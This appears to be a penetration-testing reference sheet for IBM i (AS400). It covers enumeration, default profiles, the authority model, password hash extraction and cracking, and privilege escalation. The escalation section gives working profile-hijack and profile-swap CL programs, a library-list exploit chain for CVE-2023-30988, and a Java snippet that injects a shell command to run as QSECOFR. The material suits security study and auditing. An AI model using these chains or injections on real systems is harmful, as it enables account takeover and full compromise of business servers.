# AS400

AS400 (IBM i) is a midrange computer system developed by IBM, originally released in 1988. Now known as IBM i running on Power Systems, it is widely used for business applications due to its stability, security, and integrated database (DB2 for i)

## Summary

* [Lab](#lab)
* [Enumeration](#enumeration)
* [Access and Audit](#access-and-audit)
* [Default Credentials](#default-credentials)
* [User Enumeration](#user-enumeration)
    * [Telnet](#telnet)
    * [POP3](#pop3)
    * [FTP](#ftp)
* [Useful Commands](#useful-commands)
* [NMAP Scripts](#nmap-scripts)
* [User Class](#user-class)
* [Authority](#authority)
* [Special Authority](#special-authority)
* [Adopted Authority](#adopted-authority)
* [Password Cracking](#password-cracking)
* [Privilege Escalation](#privilege-escalation)
    * [Initial Program Breakout](#initial-program-breakout)
    * [Hijack Profile - SECOFR Security Class](#hijack-profile---secofr-security-class)
    * [Hijack Profile - Authorities](#hijack-profile---authorities)
    * [Hijack Profile - Profile Swapping](#hijack-profile---profile-swapping)
    * [Unqualified Library Calls](#unqualified-library-calls)
    * [From ALLOBJ to SECADM](#from-allobj-to-secadm)
    * [Arbitrary Command Execution](#arbitrary-command-execution)
* [References](#references)

## Lab

* [mainframed/DC30_Workshop](https://github.com/mainframed/DC30_Workshop) - DEFCON 30 Mainframe buffer overlow workshop container
* [mainframed/DVCA](https://github.com/mainframed/DVCA) - Damn Vulnerable CICS Application

    ```ps1
    docker run -d \
    --name=dvca \
    -e HUSER=docker \
    -e HPASS=docker \
    -p 21:21 \
    -p 23:23 \
    -p 3270:3270 \
    -p 3505:3505 \
    -p 3506:3506 \
    -p 8888:8888 \
    -v /opt/docker/dvca:/config \
    -v /opt/docker/dvca/printers:/printers \
    -v /opt/docker/dvca/punchcards:/punchcards \
    -v /opt/docker/dvca/logs:/logs \
    -v /opt/docker/dvca/dasd:/dasd \
    -v /opt/docker/dvca/certs:/certs \
    --restart unless-stopped \
    mainframed767/dvca:latest
    ```

## Enumeration

By default, the FTP service send a banner with the following prefix:

```ps1
220-QTCP at
```

Common ports in AS400 devices:

```ps1
20, 21, 23, 25, 80, 110, 137, 138, 139, 389, 443, 446, 448, 449, 512, 910, 992, 2001, 2010, 3000, 5061, 5544, 5555, 5566, 5577, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 9470, 9471, 9472, 9473, 9474, 9475, 9476
```

| Name          | Description | Port | Port (SSL) |
| ------------- | ----------- | ---- | ---------- |
| FTP           | FTP server is used to access the AS/400 file system  | 20,21 | / |
| Telnet        | Telnet server is used to access 5250 emulation | 23 | 992 |
| SMTP          | SMTP server is used to provide mail transfer | 25 | / |
| HTTP          | HTTP server is used to provide web page | 80 | 443 |
| POP3          | POP3 server is used to provide mail fetch | 110 | 910 |
| NetServer     | NetServer allows access to AS/400 integrated file system from Windows PCs | 137,138,139,445 | / |
| LDAP          | LDAP provides a network directory service | 389 | 636 |
| DDM           | DDM server is used to access data via DRDA and for record level access. | 446 | 448 |
| As-svrmap     | Port mapper returns the port number for the requested server. | 449 | / |
| As-rmtcmd     | Remote command server is used to send commands from a PC to an AS/400 and for program calls. | 512 | / |
| As-admin-http | HTTP server administration. | 2001 | 2010 |
| As-sts        | Service tools server | 3000 | / |
| As-mtgc       | Management Central server is used to manage multiple AS/400s in a network. | 5555,5544 | 5566,5577 |
| As-central    | Central server is used when a Client Access license is required and for downloading translation tables. | 8470 | 9470 |
| As-database   | Database server is used for accessing the AS/400 database. | 8471 | 9471 |
| As-dtaq       | Data Queue server allows access to the AS/400 data queues, used for passing data between applications. | 8472 | 9472 |
| As-file       | File Server is used for accessing any part of the AS/400 file system. | 8473 | 9473 |
| As-netprt     | Printer Server is used to access printers known to the AS/400. | 8474 | 9474 |
| As-rmtcmd     | Remote command server is used to send commands from a PC to an AS/400 and for program calls. | 8475 | 9475 |
| As-signon     | Sign-on server is used for every Client Access connection to authenticate users and to change passwords. | 8476 | 9476 |

## Access and Audit

**Access**:

* [tn5250/tn5250](https://github.com/tn5250/tn5250) - A curses-based 5250 terminal client
* [x3270](https://x3270.bgp.nu/) - IBM 3270 terminal emulator
* [ayoul3/wc3270_hacked](https://github.com/ayoul3/wc3270_hacked) - A hacked version of wc3270 that removes field protection and displays hidden fields
* [Mocha TN3270](https://mochasoft.dk/tn3270.htm) - Mocha TN3270 provides TN3270 emulation for IBM Mainframe Access
* [Mocha TN5250](https://mochasoft.dk/tn5250.htm) - Mocha TN5250 provides TN5250 emulation for IBM Mainframe Access
* IBM i Access Client Solutions (5250 Console): `servername.com/WSG` or Telnet
* IBM Navigator for i (Web Interface): `http://systemName:2001`

Signed-off profiles can still be used—not for opening a 5250 session, but they should work with other protocols.

All the objects can be queried from the database DB2.

**Audit**:

* [hackthelegacy/hack400tool](https://github.com/hackthelegacy/hack400tool/tree/master/dist) - Security handling tools for IBM Power Systems
    * [hack400auditor/hack400auditor.jar](https://github.com/hackthelegacy/hack400tool/blob/master/dist/hack400auditor/hack400auditor.jar)
    * [hack400exploiter/hack400exploiter.jar](https://github.com/hackthelegacy/hack400tool/blob/master/dist/hack400exploiter/hack400exploiter.jar)
    * [hack400scanner/hack400scanner.jar](https://github.com/hackthelegacy/hack400tool/blob/master/dist/hack400scanner/hack400scanner.jar)
* [ayoul3/cicspwn](https://github.com/ayoul3/cicspwn) - CICSpwn is a tool to pentest a CICS Transaction servers on z/OS.
* [ayoul3/cicsshot](https://github.com/ayoul3/cicsshot) - Tool to screenshot CICS transactions
* [sensepost/birp](https://github.com/sensepost/birp) - Big Iron Recon & Pwnage

![AS400 Mind Map](https://web.archive.org/web/20140830222720if_/http://www.toolswatch.org/wp-content/uploads/2013/02/AS400.jpg)

## Default Credentials

```ps1
# Print users with default passwords (Username == Password case insensitive)
# Must have *ALLOBJ and *SECADM special authorities to use this command.
ANZDFTPWD
```

Other default profiles:

```ps1
QAUTPROF QBRMS QCLUMGT QCLUSTER QCOLSRV
QDBSHR QDBSHRDO QDFTOWN QDIRSRV QDLFM
QDOC QDSNX QEJB QFNC QGATE
QLPAUTO QLPINSTALL QMQM QMQMADM QMSF
QNETSPLF QNFSANON QNOTES QNTP QPEX
QPGMR QPM400 QPRJOWN QRJE QRMTCAL
QSECOFR QSNADS QSPL QSPLJOB QSRV
QSRVBAS QSVCDRCTR QSYS QSYSOPR QTCP
QTFTP QTMHHTP1 QTMHHTTP QTMPLPD QTMTWSG
QTSTRQS QUMB QUSER QYPSJSVR QYPUOWN30
```

## User Enumeration

### Telnet

Authentication Error Messages in **Telnet**

* CPF1107 : Password not correct for user profile
* CPF1109 : Not authorized to subsystem.
* CPF1110 : Not authorized to work station.
* CPF1116 : Next not valid sign-on attempt varies off device.
* CPF1118 : No password associated with user XYZ.
* CPF1120 – User AABBA does not exist
* CPF1133 Value X Z S is not a valid name
* CPF1392 : Next not valid sign-on disables user profile.
* CPF1394 : User profile XYZ cannot sign on.

### POP3

Authentication Error Messages in **POP3**

```ps1
+OK POP3 server ready
USER bogus
+OK POP3 server ready
PASS xyz
-ERR Logon attempt invalid CPF2204
```

* CPF2204 : User profile not found
* CPF22E2 : Password not correct for user profile
* CPF22E3 : User profile is disabled
* CPF22E4 : Password for user profile has expired
* CPF22E5 : No password associated with user profile

### FTP

Create a symbolic link to the QSYS library and list *.USRPRF

```ps1
open as400.victim.com
as400user
password
quote site namefmt 1
quote site listfmt 1
mkdir /test12345
quote rcmd ADDLNK OBJ('/qsys.lib')
NEWLNK('/test12345/qsys')
dir /test12345/qsys/*.usrprf
```

## Useful Commands

| Command                      | Description  |
| ---------------------------- | ------------ |
| `DSPUSRPRF <user>`           | Display user profile |
| `WRKUSRPRF <user>`           | Display user, look for Group profile , and Supplemental groups |
| `WRKUSRPRF *ALL`             | Display all users |
| `DSPPGM LIB/PROGRAM`         | Display program infos |
| `WRKOBJ (*ALL QSYS *LIB)`    | List libraries |
| `CHGUSRPRF USRPRF(<USERNAME>) PASSWORD(<NEW_PASSWORD>)` | Setup User Password |
| `QSH`                        | Start a QSHELL instance |

Check strings in PGM/SRVPGM

```ps1
cat QLWIUTIL4.SRVPGM | iconv -f cp1141 -t UTF-8 | strings
```

## NMAP Scripts

* [nse/tn3270-screen](https://nmap.org/nsedoc/scripts/tn3270-screen.html) - Connects to a tn3270 'server' and returns the screen.

    ```ps1
    nmap --script tn3270-info,tn3270_screen <host>
    ```

* [nse/tso-enum](https://nmap.org/nsedoc/scripts/tso-enum.html) - TSO User ID enumerator for IBM mainframes (z/OS).

    ```ps1
    nmap --script=tso-enum -p 23 <targets>
    nmap -sV -p 9923 10.32.70.10 --script tso-enum --script-args userdb=tso_users.txt,tso-enum.commands="logon applid(tso)"
    ```

* [nse/tso-brute](https://nmap.org/nsedoc/scripts/tso-brute.html) - TSO account brute forcer.

    ```ps1
    nmap -p 2401 --script tso-brute <host>
    ```

* [nse/cics-user-enum](https://nmap.org/nsedoc/scripts/cics-user-enum.html) - CICS User ID enumeration script for the CESL/CESN Login screen.

    ```ps1
    nmap --script=cics-user-enum -p 23 <targets>
    nmap --script=cics-user-enum --script-args userdb=users.txt,cics-user-enum.commands="exit;logon applid(cics42)" -p 23 <targets>
    ```

* [nse/cics-user-brute](https://nmap.org/nsedoc/scripts/cics-user-brute.html) - CICS User ID brute forcing script for the CESL login screen.

    ```ps1
    nmap --script=cics-user-brute -p 23 <targets>
    nmap --script=cics-user-brute --script-args userdb=users.txt,cics-user-brute.commands="exit;logon applid(cics42)" -p 23 <targets>
    ```

* [nse/cics-info](https://nmap.org/nsedoc/scripts/cics-info.html)

    ```ps1
    nmap --script=cics-info -p 23 <targets>
    nmap --script=cics-info --script-args cics-info.commands='logon applid(coolcics)',cics-info.user=test,cics-info.pass=test,cics-info.cemt='ZEMT',cics-info.trans=CICA -p 23 <targets>
    ```

* [nse/cics-enum](https://nmap.org/nsedoc/scripts/cics-enum.html) - CICS transaction ID enumerator for IBM mainframes.

    ```ps1
    nmap --script=cics-enum -p 23 <targets>
    nmap --script=cics-enum --script-args=idlist=default_cics.txt,cics-enum.command="exit;logon applid(cics42)",cics-enum.path="/home/dade/screenshots/",cics-enum.noSSL=true -p 23 <targets>
    ```

* [nse/lu-enum](https://nmap.org/nsedoc/scripts/lu-enum.html) - Attempts to enumerate Logical Units (LU) of TN3270E servers.

    ```ps1
    nmap --script lu-enum --script-args lulist=lus.txt,lu-enum.path="/home/dade/screenshots/" -p 23 -sV <targets>
    ```

* [nse/vtam-enum](https://nmap.org/nsedoc/scripts/vtam-enum.html) -  Brute force those VTAM application IDs

    ```ps1
    nmap --script vtam-enum --script-args idlist=defaults.txt,vtam-enum.command="exit;logon applid(logos)",vtam-enum.macros=true,vtam-enum.path="/home/dade/screenshots/" -p 23 -sV <targets>
    ```

## User Class

A User Class (USRCLS) defines a predefined set of authorities and system privileges for a user profile. It determines the user's general role and access level within the system. However, a user class alone does not directly grant special authorities (SPCAUT); instead, it serves as a guideline for assigning them.

In this example, we create a high-privilege user by assigning them the `*SECOFR` (Security Officer) user class (USRCLS). By setting the special authority attribute (SPCAUT) to `*USRCLS`, the system automatically grants the user all special authorities associated with the `*SECOFR` class.

```ps1
CRTUSRPRF USRPRF(MYUSER) USRCLS(*SECOFR) SPCAUT(*USRCLS)
```

| User Class                       | Special Authority from User Classes                                                  |
| -------------------------------- | ------------------------------------------------------------------------------------ |
| *SECOFR (Security Officer)       | Full system control, including user management and security. All special authorities |
| *SECADM (Security Administrator) | Can manage users but not system-wide settings. `*SECADM` special authority             |
| *SYSOPR (System Operator)        | Can manage system operations but not security settings. `*SAVSYS` and `*JOBCTL` special authority |
| *ALLOBJ (All Object Authority)   | Can access all objects but may lack security control.                                |
| *PGMR                            | Can create and modify programs but has limited access to system administration functions. No special authorities |
| *USER                            | Standard user with minimal privileges, typically for general system use. No special authorities |

## Authority

In AS400 (IBM i), authority controls user access to system objects (libraries, files, programs, etc.). It ensures security by defining what users can do with specific objects.

* `*ALL`: Full access (read, write, delete, execute).
* `*CHANGE`: Modify but not delete.
* `*EXCLUDE`: No access.
* `*USE`: Read-only or execute.
* `*USERDEF`: Custom authority settings based on a user's specific needs.

Secure authority standard for users:

* `USRCLS` should be `*USER`
* `SPCAUT` should be `*NONE`
* `AUT` should always be `*EXCLUDE`
* `*USRPRF` should have authority to itself
* `*PUBLIC` should be `*EXCLUDE`
* No other authorities should exist.

```ps1
Object . . . . . . . :       XXXXXX           Owner  . . . . . . . :   QSECOFR
Library  . . . . . :         QSYS               Primary group  . . . :   *NONE
Object type  . . . . :       *USRPRF         ASP device . . . . . :   *SYSBAS

                     Object
User Group           Authority
*PUBLIC              *EXCLUDE
QSECOFR              *ALL
XXXXXX               USER DEF
```

Special authorities defaults (security level 30 or above)

| User Class | Special Authority |
| ---------- | ----------------- |
| *SECOFR    | *ALL              |
| *SECADM    | *SECADM           |
| *PGMR      | *NONE             |
| *SYSOPR    | *JOBCTL,*SAVSYS  |
| *USER      | *NONE             |

## Special Authority

Special authority is used to specify the types of actions a user can perform on system resources. A user can be given one or more special authorities.

* `*ALLOBJ` special authority: All-object (`*ALLOBJ`) special authority allows the user to access any resource on the system whether private authority exists for the user.
* `*SECADM` special authority: Security administrator (`*SECADM`) special authority allows a user to create, change, and delete user profiles.
* `*JOBCTL` special authority: The Job control (`*JOBCTL`) special authority allows a user to change the priority of jobs and of printing, end a job before it has finished, or delete output before it has printed. `*JOBCTL` special authority can also give a user access to confidential spooled output, if output queues are specified `OPRCTL(*YES)`.
* `*SPLCTL` special authority: Spool control (`*SPLCTL`) special authority allows the user to perform all spool control functions, such as changing, deleting, displaying, holding and releasing spooled files.
* `*SAVSYS` special authority: Save system (`*SAVSYS`) special authority gives the user the authority to save, restore, and free storage for all objects on the system, regardless of whether the user has object existence authority to the objects.
* `*SERVICE` special authority: Service (`*SERVICE`) special authority allows the user to start system service tools using the STRSST command. This special authority allows the user to debug a program with only `*USE` authority to the program and perform the display and alter service functions. It also allows the user to perform trace functions.
* `*AUDIT` special authority: Audit (`*AUDIT`) special authority gives the user the ability to view and change auditing characteristics.
* `*IOSYSCFG` special authority: System configuration (`*IOSYSCFG`) special authority gives the user the ability to change how the system is configured. Users with this special authority can add or remove communications configuration information, work with TCP/IP servers, and configure the internet connection server (ICS). Most commands for configuring communications require `*IOSYSCFG` special authority.

```ps1
# Print users with special authorities
PRTUSRPRF TYPE(*ALL) SELECT(*SPCAUT) SPCAUT(*ALL)

# Print rights on a library object
DSPOBJAUT OBJ(MYLIB) OBJTYPE(*LIB)
```

**QSECOFR** (short for Security Officer) is the highest-level user profile, similar to the "root" user in Unix/Linux or the "Administrator" account in Windows. It has full control over the system, including security settings, user management, and system configuration.

The `*ALLOBJ` (All Object Authority) special authority allows a user to access all objects on the system, regardless of their specific object-level permissions. A user with this authority can perform almost any action on the system, making it a powerful and sensitive privilege.

**QSECOFR** has `*ALLOBJ` by default, along with other special authorities, making it the most powerful user profile on IBM i.

## Adopted Authority

Equivalent of setuid in Linux.

Adopted Authority allows a user to acquire authority to objects beyond what is granted by `*PUBLIC` and private authorities. As an example, suppose a user should normally be restricted from payroll files, but to perform his job, the user must be able to run a payroll report. Adopted authority allows the user to acquire enough authority to read the file for the purpose of the payroll report without granting the user any authority to the file outside of the program that runs the report.

Before granting adopted authority to PAYLIST, you must determine what authorities it already has. On an operating system command line, type the following:

```ps1
DSPPGM PAYLIB/PAYLIST
```

Example of an adopted authority running as QAUTPROF

```ps1
Owner: QAUTPROF
User profile: *OWNER
Use adopted authority: *YES
```

If User profile is `*OWNER`, the program runs combining the authorities of the Owner of the program with those of the User Profile running the program.

## Password Cracking

**Requirements**:

* `*ALLOBJ` privileges: Full control over all objects
* `*SECADM` privileges: Profile management, low-level system access

Extract hashes with **QSYRUPWD**:

| Description                 | Format | Type       | Example    |
| --------------------------- | ------ | ---------- | ---------- |
| Receiver variable           | Output | Char(*)    | 2000B      |
| Length of receiver variable | Input  | Binary(4)  |            |
| Format                      | Input  | Char(8)    | "UPWD0100" |
| User profile name           | Input  | Char(10)   | userName   |
| Error code                  | I/O    | Char(*)    |            |  

The output format **UPWD0100** is documented below:

| Offset Dec | Offset Hex | Type      | Field                        |
| ---------- | ---------- | --------- | ---------------------------- |
|          0 |          0 | BINARY(4) | Bytes returned               |
|          4 |          4 | BINARY(4) | Bytes available              |
|          8 |          8 | CHAR(10)  | User profile name            |
|         18 |         12 | CHAR(*)   | Encrypted user password data |

**Encrypted password data** hex string

| Offset (Dec) | Length (Chars) | Field                                              | QPWDLVL        |
| ------------ | -------------- | -------------------------------------------------- | -------------- |
|            0 |             16 | DES 56-bit encrypted password substitute (RFC2877) | 0, 1, 2*       |
|           16 |             16 | DES 56-bit encrypted password substitute (RFC2877) | 0, 1, 2*       |
|           32 |             32 | LM hash                                            | 0, 1, 2*       |
|           64 |              4 | No data                                            |                |
|           68 |             40 | HMAC-SHA1 encrypted password token (RFC4777)?      | 0**, 1**, 2, 3 |
|          108 |             40 | HMAC-SHA1 encrypted password token (RFC4777)?      | 0**, 1**, 2, 3 |
|          148 |              6 | No data                                            |                |
|          154 |            384 | Unknown (hash?) data                               | 0, 1, 2, 3     |

If the machine is still using the `QPWDLVL < 3`, then an attacker can still recover DES and LM hashes.

| Hash           | John                                   |
| -------------- | -------------------------------------- |
| LM             | `john --format=LM {filename}`          |
| IBM DES        | `john --format=as400-des {filename}`   |
| SHA1 Uppercase | `john --format=as400-ssha1 {filename}` |

```ps1
# Hashcat command for LM hashes
.\hashcat.exe  -m 3000 -a 3 --increment --username -1 ?u?d?s .\hashes.txt ?1?1?1?1?1?1?1
```

* [willstruggle/ibmiscanner2john.py](https://github.com/willstruggle/john/blob/master/ibmiscanner2john.py) - Convert files in format userid:hash (e.g files produced by older versions of the ibmiscanner tool) to the as400-sha format that can be processed by JtR
* [hackthelegacy/pwd400gen.py](https://web.archive.org/web/20170224172524/http://www.hackthelegacy.org/attachments/pwd400gen.py) - Password hash generator for IBM Power Systems

## Privilege Escalation

### Initial Program Breakout

* Click "`Attn`" button. The attention interrupt key (ATTN) allows the authenticated user to interrupt/end a process and display a menu with additional functions.
* Press `F9` to run commands

```ps1
# Spawn a PASE shell
CALL QP2TERM

# Execute a script
CALL QP2SHELL PARM('/QOpenSys/usr/bin/sh' + '/tmp/scr')
```

### Hijack Profile - SECOFR Security Class

User profiles assigned with the `*SECOFR` (Security Officer) security class are automatically granted `*ALLOBJ` (All Object) authority, giving them unrestricted access to all system objects. Refer to [User Class](#user-class)

Display a user profile in several different formats with `DSPUSRPRF`.

```ps1
DSPUSRPRF <username>
```

The user submitting this must have `*ALLOBJ` and `*JOBCTL` authority.

* Submitting a Job as `<USERNAME>`

    ```ps1
    SBMJOB CMD(DSPJOB) JOB(TESTJOB) USER(<USERNAME>)
    ```

* Then check the job log:

    ```ps1
    WRKJOB TESTJOB
    ```

### Hijack Profile - Authorities

* Print Public Authority: any user profiles have authority that is not set to the default of `*PUBLIC AUT(*EXCLUDE)`

    ```ps1
    PRTPUBAUT OBJTYPE(*USRPRF)
    ```

* Print Private Authority

    ```ps1
    PRTPVTAUT OBJTYPE(*USRPRF)
    ```

Look for `*USE` rights or better(e.g. `*CHANGE`, `*ALL`) to someone else's User Profile.

This `SBMJOB` command will submit a batch job to run under the `HIJACKED_USER` user profile, and will print out the records in the `FILE_OF_HIJACKED_USER` file where the `HIJACKED_USER` User Profile have access.

> The Submit Job (SBMJOB) command allows a job that is running to submit another job to a job queue to be run later as a batch job. Only one element of request data can be placed on the new job's message queue. - [IBM/SBMJOB](https://www.ibm.com/docs/en/i/7.4?topic=ssw_ibm_i_74/cl/sbmjob.html)

```ps1
SBMJOB CMD(CPYF FROMFILE(FILE_OF_HIJACKED_USER) TOFILE(*PRINT)) USER(HIJACKED_USER)
```

### Hijack Profile - Profile Swapping

Used to change the thread user profile running the application in order to obtain elevated authority.

* Check the list of profiles
* Grab a profile handle: [`QSYGETPH`](https://www.ibm.com/docs/api/v1/content/ssw_ibm_i_75/apis/QSYGETPH.htm)
* Set profile based on the token generated by QSYGETPH: [`QWTSETP`](https://www.ibm.com/docs/api/v1/content/ssw_ibm_i_75/apis/QWTSETP.htm)
* Repeat until you have obtained the highest access level
* Release profile handle: [`QSYRLSPH`](https://www.ibm.com/docs/api/v1/content/ssw_ibm_i_75/apis/QSYRLSPH.htm)

```c
/* Call QSYGETPH to get a profile handle for a user. */
/* NOTE: Change USERPROFILE to the user who you want to swap to. */
CALL QSYS/QSYGETPH ('USERPROFILE' '*NOPWDCHK' &HNDL)
/* Call QWTSETP to swap to the profile. */
CALL QSYS/QWTSETP &HNDL
```

| Value        | Description             |
| ------------ | ----------------------- |
| `*NOPWD`     | The user requesting the profile handle must have `*USE` authority to the user profile. A profile handle does not get created for a disabled user profile. A profile handle does not get created for a user profile with an expired password. |
| `*NOPWDCHK`  | The user requesting the profile handle must have `*USE` authority to the user profile. If the profile is disabled, the user requesting the profile handle must have `*ALLOBJ` and `*SECADM` special authorities to get a handle. If the password is expired, the user requesting the profile handle must have `*ALLOBJ` and `*SECADM` special authorities to get a handle. |
| `*NOPWDSTS`  | The user requesting the profile handle must have *USE authority to the user profile. A profile handle does not get created for a disabled user profile. If the password is expired, the user requesting the profile handle must have `*ALLOBJ` and `*SECADM` special authorities to get a handle. |

You cannot obtain a profile handle for the following system-supplied user profiles:

```ps1
QAUTPROF  QDLFM       QMSF      QSNADS      QTSTRQS
QCLUMGT   QDOC        QNETSPLF  QSPL
QCOLSRV   QDSNX       QNFSANON  QSPLJOB
QDBSHR    QFNC        QNTP      QSRVAGT
QDBSHRDO  QGATE       QPEX      QSYS
QDFTOWN   QLPAUTO     QPM400    QTCP 
QDIRSRV   QLPINSTALL  QRJE      QTFTP 
```

**JDBC**:

```SQL
CREATE OR REPLACE PROCEDURE J_QSYGETPH (IN USERNAME VARBINARY(10), IN PASSWORD VARBINARY(10), OUT HANDLE VARBINARY(12)) EXTERNAL NAME QSYS.QSYGETPH LANGUAGE C++ GENERAL
CALL J_QSYGETPH('USERPROFILE', "*NOPWD", PROFILE_HANDLE)

CREATE OR REPLACE PROCEDURE J_QWTSETP (IN HANDLE VARBINARY(12)) EXTERNAL NAME QSYS.QWTSETP LANGUAGE C++ GENERAL
CALL J_QWTSETP(PROFILE_HANDLE)
```

### Unqualified Library Calls

> "applications that use library lists rather than qualified library names have a potential security exposure. A user who is authorized to the commands to work with library lists can potentially run a dierent version of a program." - [ibm.com/security-library-library-lists](https://www.ibm.com/docs/en/i/7.3?topic=security-library-library-lists)

| Code               | Check      |
| ------------------ | ---------- |
| CALL LIBFOO/OBJBAR | SECURE     |
| CALL OBJBAR        | VULNERABLE |

**Example**:

CVE-2023-30988: LIBL abuse, PATH abuse on IBM i - Lirbry List Exploitation

```SQL
DSPUSRPRF <user>               -- Display user profile
CRTLIB <user>                  -- Create library
STRSEU <user>/QCLSRC QFQSES    -- Show sources of QFQSES, 
                               -- require to compile it
                                PGM
                                    CALL QSYS/QCMD
                                ENDPGM

ADDLIBLE <user>                -- Add user to the libraries
DSPAUTUSR                      -- Display user profile
CALL QFAX/QFFSTRFCPP PARM(1 2) -- Call the vulnerable program
DSPAUTUSR                      -- Display user profile, QAUTPROF and QFAXMSF should be available
CALL <user>/ESCALATE QFAXMSF   -- Profile swapping
                               -- require to compile the ESCALATE program
                                PGM PARM(&USER)
                                    DCL VAR(&USER) TYPE(*CHAR) LEN(10)
                                    DCL VAR(&HANDLE) TYPE(*CHAR) LEN(12)
                                    DCL VAR(&ERROR) TYPE(*CHAR) LEN(4)
                                    CHGVAR VAR(%BIN(&ERROR)) VALUE(0)
                                    CALL PGM(QSYGETPH) PARM(&USER *NOPWD &HANDLE &ERROR)
                                    CHGVAR VAR(%BIN(&ERROR)) VALUE(0)
                                    CALL PGM(QWTSETP) PARM(&HANDLE &ERROR)
                                ENDPGM

DSPAUTUSR                      -- Should display all profiles
                               -- QFAXMSF has *ALLOBJ
```

### From ALLOBJ to SECADM

* Query users informations:

    ```c
    DSPUSRPRF USRPRF(*ALL) TYPE(*BASIC) OUTPUT(*OUTFILE) OUTFILE(PENTEST/USERDB)
    ```

* Create a CL script to escalate privilege and compile it with `STRPDM` (output is `PRIVESC`)
* Call the generated PGM (program object): `CALL PENTEST/PRIVESC USERWITHSECADM`

### Arbitrary Command Execution

* QSECOFR user - Compile as `.jar` file and run inside QSH: `java -jar /home/user/exploit.jar`

    ```java
    // Triggering with JTOpen
    sPGMCall.setProgram("/QSYS.LIB/QLWIUTIL4.SRVPGM");
    String str = "`id>/tmp/xy.txt`"; // command execution with QSECOFR
    ProgramParameter[] programParameterArr = {
        new ProgramParameter(2, new AS400Text(str.length() + 1, system).toBytes(str + (char) 0)),
        new ProgramParameter(2, new byte[16384], 16384) // hatmanager.jar
    };
    sPGMCall.setParameterList(programParameterArr);
    sPGMCall.setProcedureName("QlwiRelayCall");
    ```

* QSECOFR user - CVE-2023-40685
* QDIRSRV user - CVE-2023-40378
* QYPSJSVR user - CVE-2023-40686
* QBRMS user - CVE-2023-40377

## References

* [Abusing Adopted Authority on IBM i - Zoltán Pánczél - January 20, 2023](https://blog.silentsignal.eu/2023/01/20/abusing-adopted-authority-on-ibm-i/)
* [Adopted Authority - IBM Support - October 3, 2024](https://www.ibm.com/support/pages/adopted-authority)
* [An IBM i Hacking Tale - Pablo Zurro - April 6, 2023](https://www.fortra.com/blog/ibm-i-hacking-tale)
* [Another Tale of IBM i (AS/400) Hacking - Zoltán Pánczél - September 28, 2022](https://blog.silentsignal.eu/2022/09/28/another-tale-of-ibm-i-as-400-hacking/)
* [AS/400 for pentesters - Black Hat Europe 2006 - Shalom Carmel](https://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-Carmel/bh-eu-06-Carmel.pdf)
* [Awesome-Mainframe-Hacking - samanL33T - July 10, 2019](https://github.com/samanL33T/Awesome-Mainframe-Hacking)
* [Below MI - IBM i for Hackers - Silent Signal - August 22, 2024](https://silentsignal.github.io/BelowMI/)
* [Common Misconcepts on IBM i User Class - *SECOFR - Dan Riehl - September 12, 2013](https://www.securemyi.com/nl/articles/userclass.html)
* [FrenchIBMi - Christian Massé - March 15, 2017](https://github.com/FrenchIBMi/Clubs/)
* [Geeking Out On IBM i - Part 1 - Anonymous - August 31, 2021](https://web.archive.org/web/20210831231128/https://blog.grimm-co.com/2021/07/geeking-out-on-ibm-i-part-1.html)
* [Guru: IBM i *USRPRF Security - Bruce Bading - May 23, 2022](https://www.itjungle.com/2022/05/23/guru-ibm-i-usrprf-security/)
* [Hack the Legacy: IBM I aka AS400 Revealed - Bart Kulach - December 25, 2015](https://youtu.be/JsqUZ3xGdLc)
* [Hack the legacy! IBM i (aka AS/400) revealed - Bart Kulach - May 11, 2021](https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEF%20CON%2023%20-%20Bart-Kulach-Hack-the-Legacy-IBMi-revealed.pdf)
* [Hacking IBM AS/400 in 2024: QShell and Remote Code Execution - Mateusz Lewczak - October 04, 2024](https://www.securitum.com/hacking_ibm_as400_in_2024.html)
* [How to get & crack AS/400 hashes? - Fossies - November 7, 2017](https://fossies.org/linux/john/doc/README.IBM_AS400)
* [IBM AS/400 - Configuration TCP/IP - Podalirius - August 5, 2021](https://podalirius.net/en/mainframe/ibm-as-400-tcp-ip-configuration/)
* [IBM I FOR WINTEL HACKERS - TROOPERS 2024 - ZOLTÁN PÁNCZÉL, BÁLINT VARGA-PERKE - June 26th, 2024](https://silentsignal.hu/docs/S2-TROOPERS24-IBM_i_for_Wintel_Hackers.pdf)
* [IBM i Privileged Users – A Unique Security Challenge - Patrick Townsend - June 27, 2017](https://info.townsendsecurity.com/ibm-i-privileged-users-a-unique-security-challenge)
* [IBM i Security Demystified Blog, Episode 1 - Matthew Carpenter - June 23, 2020](https://web.archive.org/web/20200704060220/https://blog.grimm-co.com/2020/06/ibm-i-security-demystified-blog-episode.html)
* [IPL types and modes for IBM AS/400 - Podalirius - June 16, 2021](https://podalirius.net/en/mainframe/ipl-modes-for-ibm-as400/)
* [Is Your IBM i (iSeries/AS400) Security Vulnerable To Privilege Escalation And Lack Of Proper Access Controls? - Bob Losey - June 6, 2022](https://www.linkedin.com/pulse/your-ibm-i-iseriesas400-security-vulnerable-privilege-bob-losey/)
* [Pentest AS/400 - COGICEO](https://www.ossir.org/jssi/jssi2016/Pentest_AS400_COGICEO.pdf)
* [Re: [PEN-TEST] Pen-Testing AS/400 - Al Sparks - December 12, 2000](https://seclists.org/pen-test/2000/Dec/205)
* [Restoring an IBM AS/400 (9401-150) - Podalirius - June 10, 2021](https://podalirius.net/en/mainframe/restoring-an-ibm-as400-9401-150/)
* [Security Assessment of the IBM i (AS 400) System – Part 1 - Shashank Gosavi - August 14, 2020](https://web.archive.org/web/20200921183809/https://iisecurity.in/blog/security-assessment-ibm-400-system-part-1/)
* [Security Audit of IBM AS/400 and System i : Part 1 - Yogesh Prasad - August 21, 2018](https://web.archive.org/web/20200927010533/https://blog.securitybrigade.com/security-audit-of-ibm-as-400-system-i-part-1/)
* [Security Audit of IBM AS/400 and System i : Part 2 - Yogesh Prasad - August 22, 2018](https://web.archive.org/web/20200927002911/https://blog.securitybrigade.com/security-audit-ibm-as-400-system-i-2/)
* [Simple IBM i (AS/400) hacking - Zoltán Pánczél - September 5, 2022](https://blog.silentsignal.eu/2022/09/05/simple-ibm-i-as-400-hacking/)
* [Special authority - IBM - April 11, 2023](https://www.ibm.com/docs/en/i/7.4?topic=fields-special-authority)
* [Stealing User Profiles! Exploiting Unsecured User Profiles on IBM i. - Dan Riehl - December 28, 2017](https://www.securemyi.com/nl/articles/hijack.html)
* [TCP/IP Ports Required for IBM i Access and Related Functions - IBM - December 4, 2023](https://www.ibm.com/support/pages/tcpip-ports-required-ibm-i-access-and-related-functions)
